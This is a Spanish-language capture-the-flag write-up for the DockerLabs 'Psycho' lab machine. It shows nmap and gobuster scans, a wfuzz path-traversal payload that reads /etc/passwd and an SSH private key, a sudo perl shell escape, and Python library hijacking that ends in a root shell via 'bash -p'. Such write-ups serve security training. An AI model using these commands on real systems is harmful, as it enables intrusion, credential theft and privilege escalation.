Psycho - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | Luisillo_o |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
22(SSH)80(HTTP) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p22,80 -sCV 172.17.0.2 -oG targeted
Exploración Web
Al navegar al puerto 80, encontramos una página sin información aparente:
Sin embargo, al inspeccionar el código fuente, notamos un mensaje de error al final.
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Recordemos que la página nos devolvía un error. Durante el escaneo, vemos que el index es un archivo PHP, lo cual sugiere que tal vez esté tratando de llamar un recurso incorrectamente.
wfuzz -c -t 200 --hl 62 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2/index.php?FUZZ=../../../../../../../etc/passwd"
Descubrimos que el parámetro vulnerable es secret.
Aquí aparecen dos usuarios, luisillo y vaxei. Con el puerto SSH activo, intentaremos obtener el archivo id_rsa de alguno de ellos.
Luisillo no tiene este archivo, pero vaxei sí lo tiene, así que lo usaremos para intentar acceder.
Pero el usuario vaxei si tiene. Asi que accederemos con el.
Intrusión como usuario vaxei
Copiamos el contenido del archivo id_rsa a nuestra máquina y ajustamos los permisos antes de conectarnos:
chmod 600 id_rsa
ssh -i id_rsa vaxei@172.17.0.2
Esto nos da acceso al sistema como el usuario vaxei.
Intrusion luisillo
Al ejecutar sudo -l, notamos que vaxei tiene permisos para ejecutar perl como luisillo.Utilizando GTFOBins sabemos cómo explotar estos binarios.
sudo -u luisillo /usr/bin/perl -e 'exec "/bin/sh";'
Esto nos da acceso como luisillo.
Escalada de Privilegios
Al ejecutar sudo -l, notamos que luisillo tiene permisos para ejecutar python3 como root en /opt/paw.py.Utilizando GTFOBins sabemos cómo explotar estos binarios.
Analizando el script, vemos que podemos realizar un Library Hijacking al crear un archivo subprocess.py que ejecute comandos arbitrarios al ejecutar este script como sudo.
Ejecutamos nuevamente el script y verificamos los permisos en /bin/bash.
Observamos que ahora podemos abrir una shell de bash con privilegios de root:
/bin/bash -p
¡Ahora somos root!